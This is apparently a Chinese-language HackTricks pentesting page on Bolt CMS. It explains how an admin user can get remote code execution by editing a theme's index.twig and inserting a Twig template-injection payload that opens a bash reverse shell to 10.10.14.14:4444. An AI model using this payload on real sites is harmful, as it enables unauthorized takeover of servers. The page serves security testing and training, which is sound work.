# Bolt CMS

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## RCE

在以管理员身份登录后（转到 /bot 以访问登录提示），您可以在Bolt CMS中获得RCE：

* 选择 `Configuration` -> `View Configuration` -> `Main Configuration` 或转到URL路径 `/bolt/file-edit/config?file=/bolt/config.yaml`
* 检查主题的值

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-76ed9278a34d0a890cbde9171f872bf8100ef95b%2Fimage%20(1)%20(1)%20(2)%20(3).png?alt=media" alt=""><figcaption></figcaption></figure>

* 选择 `File management` -> `View & edit templates`
* 选择前一步中找到的主题基础（在这种情况下为 `base-2021`）并选择 `index.twig`
* 在我的情况下，这在URL路径 /bolt/file-edit/themes?file=/base-2021/index.twig 中
* 通过[模板注入（Twig）](https://hacktricks.xsx.tw/pentesting-web/ssti-server-side-template-injection#twig-php)在此文件中设置您的有效负载，例如：`{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
* 然后保存更改

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-8a4bb9a4a90f6a3fff1a0c969e8e7fff9b01eb38%2Fimage%20(3)%20(7).png?alt=media" alt=""><figcaption></figcaption></figure>

* 在 `Maintenance` -> `Clear the cache` 中清除缓存
* 以普通用户身份再次访问页面，有效负载应该被执行
